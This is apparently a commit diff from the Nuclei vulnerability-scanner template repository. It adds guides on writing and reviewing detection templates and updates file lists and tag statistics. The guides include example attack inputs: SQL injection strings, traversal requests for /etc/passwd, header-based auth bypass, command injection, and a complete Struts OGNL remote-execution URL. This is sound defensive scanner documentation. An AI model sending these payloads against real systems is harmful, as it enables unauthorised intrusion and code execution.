http/cves/2022/CVE-2022-4971.yaml
http/cves/2024/CVE-2024-11972.yaml
http/cves/2024/CVE-2024-29028.yaml
http/cves/2024/CVE-2024-29029.yaml
http/cves/2024/CVE-2024-33326.yaml
http/cves/2024/CVE-2024-51568.yaml
http/cves/2024/CVE-2024-8425.yaml
http/cves/2025/CVE-2025-23061.yaml
http/cves/2025/CVE-2025-3515.yaml
http/cves/2025/CVE-2025-53118.yaml
http/cves/2025/CVE-2025-57822.yaml
http/default-logins/apache/apache-streampark-default-login.yaml
http/exposed-panels/canon/canon-ir-adv.yaml
http/exposures/configs/n8n-config.yaml
http/global-matchers/global-waf-detect.yaml
http/misconfiguration/missing-cookie-samesite-strict.yaml
http/takeovers/framer-takeover.yaml
http/technologies/apache/apache-streampark-detect.yaml
http/technologies/dkron-detect.yaml
http/technologies/hugegraph-studio-detect.yaml
http/vulnerabilities/backdoor/freepbx-cleanup-backdoor.yaml
http/vulnerabilities/other/dkron-unauth-rce.yaml
javascript/detection/pigeonhole-sieve-detect.yaml
javascript/misconfiguration/netstat-service-expose.yaml
javascript/udp/detection/zeroconf-detect.yaml
javascript/udp/misconfiguration/snmpv1-community-detect-string.yaml
network/detection/direct-connect-detect.yaml
network/detection/ftp-detect.yaml
network/detection/sap-dispatcher-detect.yaml
network/detection/sap-router-detect.yaml
vulnerabilities/iot/hikvision/hikvision-cam-info-exposure.yaml
workflows/freepbx-workflow.yaml
workflows/ftp-workflow.yaml
+1 -1
View File
@@ -17,6 +17,7 @@ tags:
- "local"
- "fuzz"
- "bruteforce"
- "txt-service"
# The following templates have been excluded because they have weak matchers and may generate FP results.
# Please feel free to create PR if you can update the templates with strict matchers.
@@ -31,7 +32,6 @@ files:
- http/fuzzing/mdb-database-file.yaml
- http/fuzzing/iis-shortname.yaml
- dns/soa-detect.yaml
- dns/txt-service-detect.yaml
- javascript/enumeration/pop3/pop3-capabilities-enum.yaml
- javascript/enumeration/redis/redis-require-auth.yaml
- dast/vulnerabilities/sqli/time-based-sqli.yaml
+1 -1
View File
@@ -41,7 +41,7 @@ Along with the P.O.C following are the required fields in the info section for s
**Don’t**
- Don’t not share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
- Don’t share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
- Avoid submitting templates with weak matchers. For example: Adding GET/POST data as the matchers in the template, as it can result in false positive results on few hosts
- Don’t make unnecessary changes to the existing templates like adding more requests to the templates when the existing requests or paths are good enough to verify that the bug exists
- Try to keep the requests per template as low as possible
+11 -11
View File
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| cve | 3225 | dhiyaneshdk | 1866 | http | 8825 | info | 4118 | file | 435 |
| panel | 1327 | daffainfo | 868 | cloud | 657 | high | 2423 | dns | 26 |
| xss | 1246 | dwisiswant0 | 806 | file | 435 | medium | 2339 | | |
| wordpress | 1168 | princechaddha | 806 | dast | 255 | critical | 1391 | | |
| exposure | 1094 | ritikchaddha | 633 | workflows | 202 | low | 318 | | |
| wp-plugin | 1023 | pussycat0x | 519 | code | 174 | unknown | 54 | | |
| osint | 810 | pikpikcu | 352 | network | 141 | | | | |
| tech | 782 | pdteam | 308 | javascript | 71 | | | | |
| lfi | 772 | pdresearch | 251 | ssl | 38 | | | | |
| rce | 770 | ricardomaia | 249 | dns | 23 | | | | |
| cve | 3288 | dhiyaneshdk | 1882 | http | 8967 | info | 4190 | file | 435 |
| panel | 1342 | daffainfo | 868 | cloud | 657 | high | 2446 | dns | 26 |
| xss | 1257 | princechaddha | 854 | file | 435 | medium | 2379 | | |
| wordpress | 1181 | dwisiswant0 | 806 | dast | 255 | critical | 1425 | | |
| exposure | 1107 | ritikchaddha | 649 | workflows | 202 | low | 318 | | |
| wp-plugin | 1032 | pussycat0x | 532 | code | 198 | unknown | 56 | | |
| osint | 841 | pikpikcu | 352 | network | 145 | | | | |
| tech | 803 | pdteam | 310 | javascript | 71 | | | | |
| rce | 786 | pdresearch | 269 | ssl | 38 | | | | |
| lfi | 777 | iamnoooob | 257 | dns | 23 | | | | |
**840 directories, 11171 files**.
**848 directories, 11344 files**.
</td>
</tr>
+524
View File
@@ -0,0 +1,524 @@
# Nuclei Template Creation Guide
**Complete Guide for Writing High-Quality Security Templates**
---
## Getting Started
### **What is a Nuclei Template?**
Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
> **📖 Official Documentation**: For comprehensive technical details, visit [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
### **Template Structure Overview**
```yaml
id: template-identifier
info:
name: Human Readable Vulnerability Name
author: your-github-username,vulnerability-discoverer-handle
severity: critical|high|medium|low|info
description: Clear explanation of what this template detects
reference:
- https://link-to-vulnerability-details
classification:
cve-id: CVE-2024-1234
cwe-id: CWE-89
tags: cve,sqli,rce
metadata:
verified: true
shodan-query: 'http.title:"VulnApp"'
http:
- method: GET
path:
- "{{BaseURL}}/vulnerable-endpoint"
matchers:
- type: word
words:
- "vulnerability_indicator"
part: body
```
---
## Step-by-Step Template Creation
### **Step 1: Research and Understand the Vulnerability**
Before writing any code:
- [ ] Read the original vulnerability disclosure/advisory
- [ ] Understand the root cause and exploitation method
- [ ] Identify unique indicators that prove vulnerability exists
- [ ] Test the vulnerability in a controlled environment
- [ ] Document the vulnerable versions and affected components
### **Step 2: Choose Your Template ID and Info**
```yaml
# Use descriptive, short identifiers
id: apache-struts-ognl-injection # GOOD - clear and specific
id: vuln-app-rce # BAD - too generic
info:
name: Apache Struts OGNL Code Injection # Format: "Vendor Product - Vulnerability Type"
author: your-github-username,original-researcher-handle # Always credit the discoverer
severity: critical # Based on CVSS score and real-world impact
```
### **Step 3: Write Accurate Description and References**
```yaml
info:
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability that allows remote code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
```
### **Step 4: Add Proper Tags and Metadata**
```yaml
info:
tags: cve,cve2018,rce,apache,struts,ognl # Be specific and comprehensive
metadata:
verified: true # Only if you've tested it yourself
max-request: 1 # Auto-calculated, don't set manually
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
```
---
## Writing Effective HTTP Requests
### **Basic HTTP Template Structure**
```yaml
http:
- method: GET|POST|PUT|DELETE
path:
- "{{BaseURL}}/endpoint" # Dynamic BaseURL variable
- "{{Hostname}}/another-path" # Alternative dynamic variable
headers:
User-Agent: Custom-Agent-String
Content-Type: application/json
Origin: https://example.com
body: |
{"param": "{{payload}}"}
disable-cookie: false # Cookies reused by default (optional)
matchers-condition: and # Require ALL matchers to pass
matchers:
- type: word
words:
- "success_indicator"
part: body
```
> **📖 Reference**: [HTTP Template Syntax](https://docs.projectdiscovery.io/templates/protocols/http) for complete protocol details
### **Using Variables for Flexibility**
```yaml
variables:
username: "admin"
payload: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/login"
body: |
username={{username}}&password={{payload}}
```
---
## Matcher Best Practices
### **🚫 Avoid Weak Matchers**
```yaml
# BAD - Too generic, will match many innocent systems
matchers:
- type: word
words:
- "error"
- "admin"
- "login"
part: body
```
### **✅ Use Strong, Specific Matchers**
```yaml
# GOOD - Specific to the vulnerability
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Specific application version
- "Build 2024.03.15" # Specific build
part: body
- type: status
status:
- 200
- type: word
words:
- "OGNL_INJECTION_SUCCESS_{{randstr}}" # Proof of exploitation
- "java.lang.ProcessBuilder" # Technical indicator
part: body
condition: or # Any of these proves exploitation
```
### **Multi-Layer Verification Strategy**
```yaml
# Layer 1: Identify the application
# Layer 2: Confirm vulnerable version
# Layer 3: Prove vulnerability exists
matchers-condition: and
matchers:
- type: word # Layer 1: App identification
words:
- "Apache Struts Framework"
- "struts-tags"
part: body
- type: regex # Layer 2: Version detection
regex:
- 'Struts 2\.[0-4]\.[0-9]+' # Vulnerable version range
part: body
- type: word # Layer 3: Exploitation proof
words:
- "ognl.OgnlException"
- "java.lang.SecurityException"
part: body
condition: or
```
---
## Testing Your Template
### **Before Submitting - Test Thoroughly**
```bash
# Test against known vulnerable instance
nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
# Test against patched/non-vulnerable systems
nuclei -t your-template.yaml -target http://patched-app.local -debug
# Test against similar but different applications
nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
```
### **Validation Checklist**
- [ ] Template detects the vulnerability on vulnerable systems
- [ ] Template does NOT trigger false positives on:
- [ ] Patched versions of the same application
- [ ] Similar applications from the same vendor
- [ ] Generic web frameworks or CMSs
- [ ] Default server error pages
- [ ] Matchers are specific enough to avoid honeypots
- [ ] References are valid and accessible
- [ ] YAML syntax is correct (`nuclei -validate -t template.yaml`)
---
## Common Vulnerability Types - Template Patterns
### **SQL Injection Detection**
```yaml
http:
- method: POST
path:
- "{{BaseURL}}/search"
body: "q={{payload}}"
payloads:
payload:
- "1' OR '1'='1"
- "1' UNION SELECT version()--"
- "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument"
- "You have an error in your SQL syntax"
- "Microsoft OLE DB Provider for ODBC"
part: body
```
### **Remote Code Execution (RCE)**
```yaml
variables:
cmd: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/execute"
body: |
command={{cmd}} && echo {{marker}}
matchers:
- type: word
words:
- "{{marker}}"
part: body
- type: regex
regex:
- 'root|administrator|www-data'
part: body
```
### **Local File Inclusion (LFI)**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/view?file=../../../etc/passwd"
- "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
matchers:
- type: regex
regex:
- 'root:.*?:[0-9]*:[0-9]*:' # Linux /etc/passwd
- '\[fonts\]' # Windows win.ini
part: body
```
### **Authentication Bypass**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/admin"
headers:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
matchers-condition: and
matchers:
- type: word
words:
- "Admin Dashboard"
- "Administrative Panel"
part: body
- type: status
status:
- 200
```
---
## Advanced Template Features
### **Using Extractors for Data Collection**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/info"
extractors:
- type: regex
name: version
regex:
- 'Version: ([0-9\.]+)'
group: 1
matchers:
- type: word
words:
- "Application Info"
part: body
```
### **Conditional Logic with DSL**
```yaml
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "vulnerable_pattern")'
- 'len(body) > 1000'
condition: and
```
### **Network Templates for Non-HTTP Services**
```yaml
network:
- inputs:
- data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}" # GET / HTTP/1.1
host:
- "{{Hostname}}"
port: 8080
matchers:
- type: word
words:
- "Server: VulnServer/1.0"
part: data
```
---
## Submission Guidelines
### **Preparing Your Template for Submission**
1. **Validate Syntax**
```bash
nuclei -validate -t your-template.yaml
```
2. **Test Thoroughly**
```bash
nuclei -t your-template.yaml -target vulnerable-instance.com -debug
```
3. **Check for Existing Templates**
- Search the repository for similar vulnerabilities
- Avoid duplicating existing detection logic
- If improving existing template, explain why
4. **Follow Naming Conventions**
- Place in appropriate directory (`cves/2024/`, `exposures/`, `misconfiguration/`)
- Use descriptive filename: `CVE-2024-1234.yaml` or `app-name-vuln-type.yaml`
### **Pull Request Best Practices**
- **Title**: Clear description of what the template detects
- **Description**: Include:
- Link to vulnerability details/advisory
- Affected versions
- Testing methodology
- Screenshots/proof if possible
- **Testing**: Show debug output proving detection works
- **Test Instances**: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email [email protected]
- **References**: Include all relevant security advisories
> **💡 Pro Tip**: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
---
## Quality Checklist
### **Before Submitting Your Template**
- [ ] **Functionality**
- [ ] Template detects the intended vulnerability
- [ ] No false positives on tested systems
- [ ] Matchers are specific and accurate
- [ ] **Attribution**
- [ ] Original vulnerability discoverer credited in author field
- [ ] All references included and valid
- [ ] Proper CVSS scoring if applicable
- [ ] **Quality**
- [ ] YAML syntax is valid
- [ ] Follows nuclei template conventions
- [ ] Includes appropriate tags and metadata
- [ ] **Testing**
- [ ] Tested against vulnerable instance
- [ ] Tested against non-vulnerable similar systems
- [ ] Debug output reviewed for accuracy
- [ ] **Documentation**
- [ ] Clear description of what template detects
- [ ] Proper severity classification
- [ ] Complete reference list
---
## Examples of High-Quality Templates
### **Complete CVE Template Example**
```yaml
id: CVE-2024-1234-apache-struts-rce
info:
name: Apache Struts 2.x OGNL Code Injection
author: your-github-username,original-researcher-handle
severity: critical
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability in the namespace value that allows remote
code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
metadata:
verified: true
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
tags: cve,cve2018,rce,apache,struts,ognl,kev
variables:
command: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: GET
path:
- "{{BaseURL}}/${(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "struts"
- "java"
part: body
condition: or
- type: regex
regex:
- 'root|administrator|www-data|apache'
part: body
```
---
## Getting Help
### **Resources**
- **Official Documentation**: [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
- **HTTP Templates**: [HTTP Protocol Documentation](https://docs.projectdiscovery.io/templates/protocols/http)
- **AI Template Creation**: [ProjectDiscovery Cloud Templates](https://cloud.projectdiscovery.io/templates) - AI-powered template generation
- **Examples**: Browse existing templates in the [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
- **Community**: Join [ProjectDiscovery Discord](https://discord.gg/projectdiscovery) for questions and discussions
- **Testing**: Use local vulnerable applications for safe testing
- **Test Instances**: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
> **💡 Pro Tip**: Sharing test instances with reviewers significantly accelerates the template review and merge process.
### **Common Issues and Solutions**
- **False Positives**: Make matchers more specific, add version detection
- **YAML Errors**: Use online YAML validators, check indentation
- **Template Not Triggering**: Verify target is actually vulnerable, check debug output
- **Performance Issues**: Minimize requests, optimize matchers
---
*This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.*
+441
View File
@@ -0,0 +1,441 @@
# Nuclei Template Review Guide
**Best Practices for Template Quality and Security**
---
## Quick Reference
### **Review Priority Areas**
1. **Quality & Consistency** - Formatting, syntax, field standardization
2. **Metadata Enhancement** - Search queries, classifications, documentation
3. **Tags Optimization** - Category alignment, searchability
4. **Classification** - CVE/CWE alignment, severity scoring
5. **Matcher Refinement** - Detection logic, false positive prevention
### **Common Areas for Improvement**
- **Community Contributions:** Often need metadata and classification enhancements
- **Template Reviews:** Focus on technical accuracy and matcher quality
---
## Pre-Review Checklist
### **Template Completeness Verification**
```yaml
Required Fields Checklist:
- [ ] id: Short, descriptive (max 3-4 words)
- [ ] name: Format "Vendor Product Version - Vulnerability"
- [ ] author: Template creator, vulnerability discoverer (comma-separated)
- [ ] severity: info/low/medium/high/critical (CVSS aligned)
- [ ] description: Clear vulnerability explanation
- [ ] reference: Valid POC/advisory links
- [ ] classification: CVE-ID, CWE-ID if applicable
```
### **Author Attribution Best Practices**
```yaml
# GOOD - Include both template author and vulnerability discoverer in author field
info:
author: template-author-github-username,original-discoverer-handle
description: SQL injection vulnerability in Example App v2.1.0 allows remote code execution.
reference:
- https://github.com/security_researcher/advisories/example-app-sqli
- https://nvd.nist.gov/vuln/detail/CVE-2024-1234
# EXAMPLES of proper author attribution
info:
author: princechaddha,0xd0ff9 # Template by princechaddha, vulnerability found by 0xd0ff9
info:
author: dhiyaneshDk,researcher_name # Template by dhiyaneshDk, discovered by researcher_name
info:
author: geeknik,@security_handle # Template by geeknik, found by @security_handle
```
### **Metadata Quality Check**
```yaml
Enhanced Metadata:
- [ ] verified: true (if tested with debug data)
- [ ] shodan-query: Search dork for asset discovery
- [ ] fofa-query: Alternative search engine query
- [ ] tags: Appropriate categories (cve, rce, lfi, etc.)
Note: max-request is auto-generated and doesn't need manual input
```
---
## Matcher Quality Framework
### **🚫 Weak Matchers (High False Positive Risk)**
#### **Generic Response Patterns - AVOID**
```yaml
# BAD - Matches any admin interface globally
matchers:
- type: word
words:
- "admin"
- "login"
- "dashboard"
part: body
```
**Problem:** These terms appear on millions of legitimate systems
#### **Version-Only Detection - AVOID**
```yaml
# BAD - Matches all versions, not just vulnerable ones
matchers:
- type: regex
regex:
- 'WordPress [0-9]+\.[0-9]+'
part: body
```
**Problem:** Doesn't verify actual vulnerability presence
### **✅ Strong Vulnerability-Specific Matchers**
#### **Multi-Layer Verification Strategy**
```yaml
# GOOD - Combines application + version + vulnerability proof
matchers-condition: and
matchers:
- type: word # Layer 1: Identify specific application
words:
- "Grafana Dashboard"
- "grafana.com/login"
part: body
- type: regex # Layer 2: Confirm vulnerable version range
regex:
- 'version.*[6-8]\.[0-5]\.[0-9]'
part: body
- type: word # Layer 3: Verify exploit success
words:
- "unauthorized_data_access"
- "/api/snapshots/{{randstr}}"
part: body
condition: or
```
#### **CVE-Specific Template Example**
```yaml
# CVE-2024-1234 - Specific Application RCE
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Exact vulnerable version
- "Build 2024.03.15" # Specific build identifier
part: body
- type: status # Expected response code
status:
- 200
- type: word # Exploitation proof
words:
- "RCE_EXECUTION_SUCCESS_{{randstr}}" # Unique payload response
- "nuclei_test_command_output" # Command execution indicator
part: body
condition: or
```
#### **Panel Detection - Unique Signatures**
```yaml
# FortiGate Panel - Multiple unique identifiers
matchers-condition: and
matchers:
- type: word
words:
- "<title>FortiGate - Login</title>" # Specific page title
- "Fortinet, Inc." # Vendor attribution
- "FortiOS Version:" # Version indicator
part: body
condition: or
- type: regex
regex:
- '/images/fortinet_logo_[0-9]+\.png' # Unique asset pattern
- 'build_[0-9]{4}_[0-9]{6}' # Build number format specific to FortiGate
part: body
condition: or
```
---
## False Positive Prevention
### **High-Risk Scenarios to Test**
Before approval, verify matchers DON'T trigger on:
1. **Related Non-Vulnerable Systems**
- Same vendor, different products
- Same application, patched versions
- Similar interfaces, different implementations
2. **Generic Web Applications**
- Common frameworks (WordPress, Django, Rails)
- Standard admin panels (cPanel, Plesk)
- Default server pages (Apache, Nginx)
3. **Honeypot/Security Tools**
- Intentionally deceptive responses
- Security scanners mimicking vulnerabilities
- Research environments with fake responses
### **Matcher Testing Checklist**
```yaml
Required Validation Steps:
- [ ] Test against 3+ non-vulnerable similar applications
- [ ] Verify unique response elements are truly unique
- [ ] Confirm payload/exploitation indicators are specific
- [ ] Check matcher doesn't trigger on default installations
- [ ] Validate version detection accuracy (if applicable)
```
---
## Review Categories by Impact
### **1. Metadata Enhancement**
**Most Common Missing Elements:**
- `shodan-query` for asset discovery
- `fofa-query` for alternative search engines
- `classification` fields for vulnerability tracking
**Review Actions:**
```yaml
# Add asset discovery capabilities
metadata:
verified: true
shodan-query: 'http.title:"Grafana" http.component:"Grafana"'
fofa-query: 'title="Grafana" && body="grafana"'
# Ensure proper classification
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-1234
cwe-id: CWE-89
```
### **2. Matcher Quality**
**Common Issues:**
- Overly broad detection patterns
- Missing context verification
- Weak exploitation proof
**Review Standards:**
```yaml
# Require multi-layer validation
matchers-condition: and # Force all conditions to match
matchers:
- type: word # Application identification
- type: status # Response validation
- type: word # Vulnerability proof
condition: or # Allow multiple proof methods
```
### **3. Severity Assessment**
**CVSS Alignment Requirements:**
- **Critical (9.0-10.0):** Remote code execution, complete system compromise
- **High (7.0-8.9):** Significant data breach, privilege escalation
- **Medium (4.0-6.9):** Information disclosure, limited access
- **Low (0.1-3.9):** Minor information leakage, requires authentication
### **4. Reference Validation**
**Required Reference Quality:**
- Original vulnerability advisory (CVE, vendor security bulletin)
- Technical analysis or proof of concept
- NIST NVD entry (if available)
- Public disclosure timeline
---
## Reviewer Action Templates
### **For Metadata Improvements**
```
Please enhance the template metadata:
- Add `shodan-query` for asset discovery: `[suggested query]`
- Include `fofa-query` for alternative search: `[suggested query]`
- Verify `classification` fields are complete
- Ensure `verified: true` with debug data if tested
```
### **For Weak Matchers**
```
The current matchers may produce false positives. Please:
- Add application-specific identifiers (exact titles, unique elements)
- Include version validation for vulnerable ranges only
- Verify exploitation proof rather than just version detection
- Test against [specific non-vulnerable scenarios]
```
### **For Severity Issues**
```
Severity should be [X] based on CVSS impact:
- Attack Vector: [Network/Adjacent/Local/Physical]
- Impact: [Complete/Partial/None] for CIA triad
- Required Privileges: [None/Low/High]
- Reference CVSS calculator: [link]
```
### **For Missing References**
```
Please add comprehensive references:
- Original vulnerability disclosure/advisory
- Technical analysis or exploitation details
- Official vendor security bulletin (if available)
- NIST NVD entry: https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXX
```
### **For Missing Vulnerability Discoverer Attribution**
```
Please credit the original vulnerability discoverer in the author field:
- Update author field: "template-author,vulnerability-discoverer" (comma-separated)
- Example: "princechaddha,0xd0ff9" or "dhiyaneshDk,researcher_name"
- Include original disclosure/research reference
- Ensure proper credit for both template creator AND vulnerability researcher
```
---
## Quality Standards & Goals
### **Template Accuracy Goals**
- **False Positive Rate:** <2% (verified through community feedback)
- **Detection Coverage:** 95%+ for vulnerable instances
- **Metadata Completeness:** 100% required fields, 80%+ enhanced fields
### **Review Consistency Standards**
- **Response Time:** Initial review within 48 hours
- **Feedback Quality:** Specific, actionable guidance with examples
- **Approval Criteria:** All quality checks pass, tested when possible
### **Community Impact**
- **Contribution Quality:** Monitor improvement patterns in repeat contributors
- **Review Effectiveness:** Track issues caught in review vs. post-merge
- **Knowledge Transfer:** Successful elevation of community template quality
---
## Advanced Review Techniques
### **Template Testing Environment Setup**
```bash
# Recommended testing workflow
nuclei -t new-template.yaml -target vulnerable-lab.com -debug
nuclei -t new-template.yaml -target patched-system.com -debug
nuclei -t new-template.yaml -list target-variety.txt -silent
```
### **Vulnerability Context Research**
1. **CVE Database Cross-Reference:** Verify vulnerability details match template scope
2. **Vendor Advisory Review:** Confirm affected versions and exploitation requirements
3. **Community Disclosure Analysis:** Check for additional context or limitations
4. **Exploit Database Validation:** Compare detection approach with known exploits
### **Review Documentation Standards**
- Document testing methodology in PR comments
- Provide specific improvement suggestions with examples
- Reference similar high-quality templates as comparison
- Explain security rationale for matcher requirements
---
## Practical Examples by Vulnerability Type
### **SQL Injection Templates**
```yaml
# WRONG - Generic database errors (match many systems)
matchers:
- type: word
words:
- "mysql_fetch"
- "SQL syntax"
# RIGHT - Specific to vulnerability context
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument" # Specific error pattern
- "WHERE id='1' OR '1'='1'" # Injection payload context
- "users table does not exist" # Application-specific error
part: body
condition: and
```
### **RCE Templates**
```yaml
# WRONG - Generic command output
matchers:
- type: word
words:
- "root"
- "/bin/bash"
# RIGHT - Command execution in vulnerability context
matchers:
- type: regex
regex:
- 'uid=0\(root\) gid=0\(root\) groups=0\(root\)' # Complete whoami output
part: body
- type: word
words:
- "nuclei_rce_test_{{rand_base(6)}}" # Unique payload identifier
part: body
```
### **File Upload Vulnerabilities**
```yaml
# WRONG - Generic file upload success
matchers:
- type: word
words:
- "uploaded successfully"
- "file saved"
# RIGHT - Vulnerability-specific upload validation
matchers:
- type: word
words:
- "nuclei_test_{{randstr}}.php uploaded to /var/www/uploads/" # Specific path + file
- "File permissions: 644" # System response
- "<?php echo 'nuclei_upload_test'; ?>" # File content verification
part: body
condition: and
```
---
## Multi-Layer Matcher Strategy
```yaml
# Use multiple verification layers
matchers-condition: and
matchers:
- type: word # Layer 1: Identify the application
words:
- "VulnApp Management Console"
part: body
- type: regex # Layer 2: Confirm vulnerable version
regex:
- 'Version: [1-2]\.[0-5]\.[0-9]'
part: body
- type: word # Layer 3: Verify vulnerability exists
words:
- "debug_info_exposed"
- "configuration_leak"
part: body
condition: or
```
---
*This guide provides comprehensive standards for creating and reviewing high-quality nuclei templates that are accurate, specific, and minimize false positives.*
+1 -1
View File
@@ -1 +1 @@
{"tags":[{"name":"cve","count":3225},{"name":"panel","count":1327},{"name":"xss","count":1246},{"name":"wordpress","count":1168},{"name":"exposure","count":1094},{"name":"wp-plugin","count":1023},{"name":"osint","count":810},{"name":"tech","count":782},{"name":"lfi","count":772},{"name":"rce","count":770},{"name":"misconfig","count":747},{"name":"devops","count":738},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":573},{"name":"packetstorm","count":552},{"name":"wpscan","count":534},{"name":"cve2021","count":513},{"name":"cve2022","count":512},{"name":"cve2023","count":488},{"name":"detect","count":486},{"name":"sqli","count":484},{"name":"cve2024","count":462},{"name":"login","count":446},{"name":"unauth","count":431},{"name":"authenticated","count":422},{"name":"kev","count":405},{"name":"intrusive","count":398},{"name":"file","count":377},{"name":"oast","count":276},{"name":"default-login","count":275},{"name":"cve2020","count":274},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":238},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":216},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":210},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":204},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"iot","count":184},{"name":"cve2018","count":184},{"name":"auth-bypass","count":183},{"name":"cve2019","count":182},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"code","count":157},{"name":"keys","count":156},{"name":"redirect","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":144},{"name":"tcp","count":139},{"name":"security","count":133},{"name":"router","count":130},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":119},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"cve2025","count":94},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":83},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"local","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":78},{"name":"js","count":75},{"name":"windows","count":74},{"name":"cisco","count":73},{"name":"enum","count":72},{"name":"k8s","count":71},{"name":"windows-audit","count":70},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"cve2016","count":60},{"name":"file-upload","count":59},{"name":"detection","count":59},{"name":"atlassian","count":59},{"name":"google","count":57},{"name":"c2","count":57},{"name":"vmware","count":57},{"name":"audit","count":55},{"name":"deserialization","count":53},{"name":"dast","count":51},{"name":"cve2014","count":50},{"name":"php","count":50},{"name":"logs","count":50},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":47},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"misc","count":46},{"name":"ssti","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"osint-gaming","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"jndi","count":44},{"name":"plugin","count":44},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"oa","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"fortinet